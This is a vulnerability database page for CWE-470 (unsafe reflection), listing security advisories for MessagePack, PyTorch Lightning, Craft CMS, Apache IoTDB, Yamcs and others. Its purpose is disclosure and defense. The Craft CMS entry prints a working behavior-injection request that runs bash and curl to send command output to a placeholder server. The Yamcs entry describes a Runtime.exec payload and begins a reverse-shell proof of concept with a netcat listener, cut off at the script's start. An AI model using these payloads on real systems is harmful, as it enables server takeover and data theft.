Common Weakness Enumeration

CWE-470

Allowed

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

148 vulnerabilities reference this CWE, most recent first.

GHSA-QHMF-XW27-6RQR

Vulnerability from github – Published: 2026-06-25 21:31 – Updated: 2026-06-25 21:31
VLAI
Summary
MessagePack-CSharp: Typeless deserialization type restrictions do not recurse into arrays or generic arguments
Details

Summary

MessagePack-CSharp's typeless deserialization includes MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed(Type) as a safety check for dangerous types. The default implementation checks the outer type name, but it does not recursively inspect array element types or generic type arguments.

As a result, a type that would be blocked directly can be wrapped inside an array or constructed generic type and pass the outer type check. The formatter machinery can then materialize formatters for the inner blocked type.

Impact

Applications are affected when they deserialize untrusted payloads using typeless serialization features such as MessagePackSerializer.Typeless, TypelessObjectResolver, or related typeless resolver options.

Typeless deserialization is already a high-risk feature for untrusted data, but the presence of a disallowed-type hook creates an expectation that blocked types remain blocked. This issue weakens that mitigation because the check is not applied structurally to nested type components. An attacker who can supply typeless ext-100 payloads may bypass exact outer-type blocklist checks by naming wrapper types such as arrays or generic containers.

The consequence depends on which type is reached and what the application allows typeless deserialization to instantiate. The original findings describe bypasses involving blocked or user-blocklisted gadget types.

Affected components

  • Package: MessagePack
  • Feature: typeless deserialization
  • APIs: MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed, TypelessFormatter
  • Finding IDs: MESSAGEPACKCSHARP-030, duplicate/open variant MESSAGEPACKCSHARP-OPEN-007

Patches

Fixes are available via versions 2.5.301 and 3.1.7.

Upgrade guidance:

  1. Upgrade MessagePack to the patched version for your release line.
  2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.

The fix should apply type-disallow checks recursively to array element types, pointer/byref element types where applicable, nullable underlying types, and constructed generic type arguments. Formatter paths that materialize types supplied by the wire should not instantiate inner types that fail the configured policy.

Workarounds

Patching is recommended.

Avoid typeless deserialization for untrusted data. If typeless support is unavoidable, configure an explicit allowlist that rejects any type not approved by the application and ensure the allowlist recursively validates array elements and generic arguments. Do not rely on exact outer-type blocklists as a complete security boundary.

Resources

  • MESSAGEPACKCSHARP-030: typeless disallowed-type check is not recursive
  • MESSAGEPACKCSHARP-OPEN-007: duplicate/open finding for typeless blocklist gaps
  • CWE-502: Deserialization of Untrusted Data
  • CWE-470: Use of Externally-Controlled Input to Select Classes or Code

CVE split rationale

This vulnerability is independently fixable in typeless type-policy enforcement. It is separate from MVC default options, collection allocation, LZ4 decoding, and recursion-depth issues.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.301"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T21:31:13Z",
    "nvd_published_at": "2026-06-22T22:16:48Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nMessagePack-CSharp\u0027s typeless deserialization includes `MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed(Type)` as a safety check for dangerous types. The default implementation checks the outer type name, but it does not recursively inspect array element types or generic type arguments.\n\nAs a result, a type that would be blocked directly can be wrapped inside an array or constructed generic type and pass the outer type check. The formatter machinery can then materialize formatters for the inner blocked type.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads using typeless serialization features such as `MessagePackSerializer.Typeless`, `TypelessObjectResolver`, or related typeless resolver options.\n\nTypeless deserialization is already a high-risk feature for untrusted data, but the presence of a disallowed-type hook creates an expectation that blocked types remain blocked. This issue weakens that mitigation because the check is not applied structurally to nested type components. An attacker who can supply typeless ext-100 payloads may bypass exact outer-type blocklist checks by naming wrapper types such as arrays or generic containers.\n\nThe consequence depends on which type is reached and what the application allows typeless deserialization to instantiate. The original findings describe bypasses involving blocked or user-blocklisted gadget types.\n\n## Affected components\n\n- Package: `MessagePack`\n- Feature: typeless deserialization\n- APIs: `MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed`, `TypelessFormatter`\n- Finding IDs: `MESSAGEPACKCSHARP-030`, duplicate/open variant `MESSAGEPACKCSHARP-OPEN-007`\n\n## Patches\n\nFixes are available via versions 2.5.301 and 3.1.7.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should apply type-disallow checks recursively to array element types, pointer/byref element types where applicable, nullable underlying types, and constructed generic type arguments. Formatter paths that materialize types supplied by the wire should not instantiate inner types that fail the configured policy.\n\n## Workarounds\n\nPatching is recommended.\n\nAvoid typeless deserialization for untrusted data. If typeless support is unavoidable, configure an explicit allowlist that rejects any type not approved by the application and ensure the allowlist recursively validates array elements and generic arguments. Do not rely on exact outer-type blocklists as a complete security boundary.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-030`: typeless disallowed-type check is not recursive\n- `MESSAGEPACKCSHARP-OPEN-007`: duplicate/open finding for typeless blocklist gaps\n- CWE-502: Deserialization of Untrusted Data\n- CWE-470: Use of Externally-Controlled Input to Select Classes or Code\n\n## CVE split rationale\n\nThis vulnerability is independently fixable in typeless type-policy enforcement. It is separate from MVC default options, collection allocation, LZ4 decoding, and recursion-depth issues.",
  "id": "GHSA-qhmf-xw27-6rqr",
  "modified": "2026-06-25T21:31:13Z",
  "published": "2026-06-25T21:31:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-qhmf-xw27-6rqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48517"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: Typeless deserialization type restrictions do not recurse into arrays or generic arguments"
}

GHSA-QQMF-GPG7-G8GW

Vulnerability from github – Published: 2026-07-15 18:31 – Updated: 2026-07-15 18:31
VLAI
Details

PyTorch Lightning through 2.6.5, fixed in commit d710d68, contains a remote code execution vulnerability in the _load_state function that imports and executes attacker-controlled module names from checkpoint _instantiator hyperparameters. Attackers can craft malicious checkpoint files that bypass weights_only=True protections to execute arbitrary code when LightningModule.load_from_checkpoint is called.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.4 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-58659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T18:16:48Z",
    "severity": "HIGH"
  },
  "details": "PyTorch Lightning through 2.6.5, fixed in commit d710d68, contains a remote code execution vulnerability in the _load_state function that imports and executes attacker-controlled module names from checkpoint _instantiator hyperparameters. Attackers can craft malicious checkpoint files that bypass weights_only=True protections to execute arbitrary code when LightningModule.load_from_checkpoint is called.",
  "id": "GHSA-qqmf-gpg7-g8gw",
  "modified": "2026-07-15T18:31:58Z",
  "published": "2026-07-15T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58659"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/issues/21822"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/pull/21832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/commit/d710d689510d50e800f53b3cd773cbca20b1f86f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pytorch-lightning-arbitrary-code-execution-via-instantiator-hyperparameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QRGM-P9W5-RRFW

Vulnerability from github – Published: 2026-05-06 17:54 – Updated: 2026-05-13 16:29
VLAI
Summary
Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior
Details

We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

``` POST /admin/actions/element-search/search HTTP/2 Host: hostnamehere Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...; Content-Length: … User-Agent: Mozilla/5.0 X-Csrf-Token: ... Accept: application/json Content-Type: application/json

{

"elementType": "craft\elements\Category", "siteId": 1, "search": "", "condition": { "class": "craft\elements\conditions\ElementCondition", "elementType": "craft\elements\Category", "fieldLayouts": [ { "as rce": { "__class": "yii\behaviors\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": [ "Psy\Readline\Hoa\ConsoleProcessus", "execute" ] }, "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/id](https://yourcollaboratorservergoeshere/%60id%60/)"" } ] }, "on *": "self::beforeSave" } ] } } ```

Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.17.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.9.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-479"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T17:54:06Z",
    "nvd_published_at": "2026-05-12T21:16:15Z",
    "severity": "HIGH"
  },
  "details": "We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server.  Yii\u2019s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.\n\nThis is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.\n\nThe request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.\n\nThis appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.\n\nWe were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command \u201cid\u201d for the web user being appended to the path:\n\n ```\nPOST /admin/actions/element-search/search HTTP/2\nHost: hostnamehere\nCookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;\nContent-Length: \u2026\nUser-Agent: Mozilla/5.0\nX-Csrf-Token: ...\nAccept: application/json\nContent-Type: application/json\n\n{\n\n  \"elementType\": \"craft\\\\elements\\\\Category\",\n  \"siteId\": 1,\n  \"search\": \"\",\n  \"condition\": {\n    \"class\": \"craft\\\\elements\\\\conditions\\\\ElementCondition\",\n    \"elementType\": \"craft\\\\elements\\\\Category\",\n    \"fieldLayouts\": [\n      {\n        \"as rce\": {\n          \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n          \"__construct()\": [\n            {\n              \"attributeTypes\": {\n                \"typecastBeforeSave\": [\n                  \"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\",\n                  \"execute\"\n                ]\n              },\n              \"typecastBeforeSave\": \"/bin/bash -c \\\"curl [https://yourcollaboratorservergoeshere/`id`\\](https://yourcollaboratorservergoeshere/%60id%60/)\"\"\n            }\n          ]\n        },\n        \"on *\": \"self::beforeSave\"\n      }\n    ]\n  }\n}\n```\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3",
  "id": "GHSA-qrgm-p9w5-rrfw",
  "modified": "2026-05-13T16:29:16Z",
  "published": "2026-05-06T17:54:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior"
}

GHSA-QX2Q-Q59V-WF3J

Vulnerability from github – Published: 2026-03-16 18:12 – Updated: 2026-03-16 21:57
VLAI
Summary
Craft CMS vulnerable to behavior injection RCE via EntryTypesController
Details

The fix for GHSA-7jx7-3846-m7w7 (commit 395c64f0b80b507be1c862a2ec942eaacb353748) only patched src/services/Fields.php, but the same vulnerable pattern exists in EntryTypesController::actionApplyOverrideSettings().

In src/controllers/EntryTypesController.php lines 381-387:

$settingsStr = $this->request->getBodyParam('settings');
parse_str($settingsStr, $postedSettings);
$settingsNamespace = $this->request->getRequiredBodyParam('settingsNamespace');
$settings = array_filter(ArrayHelper::getValue($postedSettings, $settingsNamespace, []));

if (!empty($settings)) {
    Craft::configure($entryType, $settings);

The $settings array from parse_str is passed directly to Craft::configure() without Component::cleanseConfig(). This allows injecting Yii2 behavior/event handlers via as or on prefixed keys, the same attack vector as the original advisory.

You need Craft control panel administrator permissions, and allowAdminChanges must be enabled for this to work.

An attacker can use the same gadget chain from the original advisory to achieve RCE.

Users should update to Craft 5.9.11 to mitigate the issue.

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.10"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.6.0"
            },
            {
              "fixed": "5.9.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:12:32Z",
    "nvd_published_at": "2026-03-16T20:16:19Z",
    "severity": "HIGH"
  },
  "details": "The fix for GHSA-7jx7-3846-m7w7 (commit 395c64f0b80b507be1c862a2ec942eaacb353748) only patched `src/services/Fields.php`, but the same vulnerable pattern exists in `EntryTypesController::actionApplyOverrideSettings()`.\n\nIn `src/controllers/EntryTypesController.php` lines 381-387:\n\n```php\n$settingsStr = $this-\u003erequest-\u003egetBodyParam(\u0027settings\u0027);\nparse_str($settingsStr, $postedSettings);\n$settingsNamespace = $this-\u003erequest-\u003egetRequiredBodyParam(\u0027settingsNamespace\u0027);\n$settings = array_filter(ArrayHelper::getValue($postedSettings, $settingsNamespace, []));\n\nif (!empty($settings)) {\n    Craft::configure($entryType, $settings);\n```\n\nThe `$settings` array from `parse_str` is passed directly to `Craft::configure()` without `Component::cleanseConfig()`. This allows injecting Yii2 behavior/event handlers via `as ` or `on ` prefixed keys, the same attack vector as the original advisory.\n\nYou need Craft control panel administrator permissions, and `allowAdminChanges` must be enabled for this to work.\n\nAn attacker can use the same gadget chain from the original advisory to achieve RCE.\n\nUsers should update to Craft 5.9.11 to mitigate the issue.",
  "id": "GHSA-qx2q-q59v-wf3j",
  "modified": "2026-03-16T21:57:33Z",
  "published": "2026-03-16T18:12:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-7jx7-3846-m7w7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-qx2q-q59v-wf3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32263"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/d37389dbffafa565143be40a2ab1e1db22a863f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS vulnerable to behavior injection RCE via EntryTypesController"
}

GHSA-R4H2-77R7-2XCH

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:08
VLAI
Details

It was found that the fix for CVE-2014-0114 had been reverted in JBoss Operations Network 3 (JON). This flaw allows attackers to manipulate ClassLoader properties on a vulnerable server. Exploits that have been published rely on ClassLoader properties that are exposed such as those in JON 3. Additional information can be found in the Red Hat Knowledgebase article: https://access.redhat.com/site/solutions/869353. Note that while multiple products released patches for the original CVE-2014-0114 flaw, the reversion described by this CVE-2019-3834 flaw only occurred in JON 3.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-3834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-03T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "It was found that the fix for CVE-2014-0114 had been reverted in JBoss Operations Network 3 (JON). This flaw allows attackers to manipulate ClassLoader properties on a vulnerable server. Exploits that have been published rely on ClassLoader properties that are exposed such as those in JON 3. Additional information can be found in the Red Hat Knowledgebase article: https://access.redhat.com/site/solutions/869353. Note that while multiple products released patches for the original CVE-2014-0114 flaw, the reversion described by this CVE-2019-3834 flaw only occurred in JON 3.",
  "id": "GHSA-r4h2-77r7-2xch",
  "modified": "2024-04-04T02:08:30Z",
  "published": "2022-05-24T16:57:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3834"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3834"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R68H-Q8CP-98MX

Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31
VLAI
Details

NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause improper control of dynamically managed code resources. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T16:16:45Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause improper control of dynamically managed code resources. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.",
  "id": "GHSA-r68h-q8cp-98mx",
  "modified": "2026-07-01T18:31:47Z",
  "published": "2026-07-01T18:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5841"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24246"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RW8G-2688-625J

Vulnerability from github – Published: 2026-08-07 18:31 – Updated: 2026-08-07 18:31
VLAI
Details

An account holding the nexus:settings:update permission in Nexus Repository 3 (or the equivalent nexus:settings permission in the legacy Nexus Repository 2) could submit arbitrary values as realm identifiers through an internal configuration API that did not validate them against the set of registered realms. Because unrecognized entries were persisted and re-evaluated on every realm load via a legacy code path, this could result in unintended code executing inside the Nexus Repository process, and in some cases a persistent authentication lockout that was not visible through the administrative UI.

Severity
7.2 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-17593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-07T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "An account holding the nexus:settings:update permission in Nexus Repository 3 (or the equivalent nexus:settings permission in the legacy Nexus Repository 2) could submit arbitrary values as realm identifiers through an internal configuration API that did not validate them against the set of registered realms. Because unrecognized entries were persisted and re-evaluated on every realm load via a legacy code path, this could result in unintended code executing inside the Nexus Repository process, and in some cases a persistent authentication lockout that was not visible through the administrative UI.",
  "id": "GHSA-rw8g-2688-625j",
  "modified": "2026-08-07T18:31:44Z",
  "published": "2026-08-07T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17593"
    },
    {
      "type": "WEB",
      "url": "https://help.sonatype.com/en/sonatype-nexus-repository-3-95-0-release-notes.html"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/53849535836179"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V4P4-86J5-2F8Q

Vulnerability from github – Published: 2026-07-10 09:31 – Updated: 2026-07-10 18:32
VLAI
Details

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache IoTDB. The pipe processor reads a fully qualified Java class name and instantiates it using Class.forName().newInstance() without any validation or allowlisting.

This issue affects Apache IoTDB: from 1.0.0 before 2.0.10.

Users are recommended to upgrade to version 2.0.10, which fixes the issue.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-40008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T08:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability in Apache IoTDB.\nThe pipe processor reads a fully\nqualified Java class name and\ninstantiates it using Class.forName().newInstance() without any\nvalidation or allowlisting.\n\n\nThis issue affects Apache IoTDB: from 1.0.0 before 2.0.10.\n\nUsers are recommended to upgrade to version 2.0.10, which fixes the issue.",
  "id": "GHSA-v4p4-86j5-2f8q",
  "modified": "2026-07-10T18:32:13Z",
  "published": "2026-07-10T09:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40008"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/fm8cpvzbox2qqy99ztglm8wkk1nrg9ng"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/10/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VMWP-VH32-RJ75

Vulnerability from github – Published: 2026-05-27 22:45 – Updated: 2026-05-27 22:45
VLAI
Summary
Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override
Details

Remote Code Execution via Mission Database algorithm override

Summary

The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.

Details

Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java

// L46-53  Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
        .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
                && candidate.getNames().contains(language))
        .findFirst().orElse(null);
if (factory != null) {
    scriptEngine = factory.getScriptEngine();          // ← ClassFilter not supplied
}

// L109  user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);

NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.

The path from HTTP request to eval is: MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189) → AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559) → ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117) → scriptEngine.eval(...).

PoC

Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).

Attacker-side listener:

nc -lvnp 4444

#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request

TARGET    = sys.argv[1].rstrip("/")
LHOST     = sys.argv[2]
LPORT     = int(sys.argv[3])
INSTANCE  = "simulator"
PROCESSOR = "realtime"
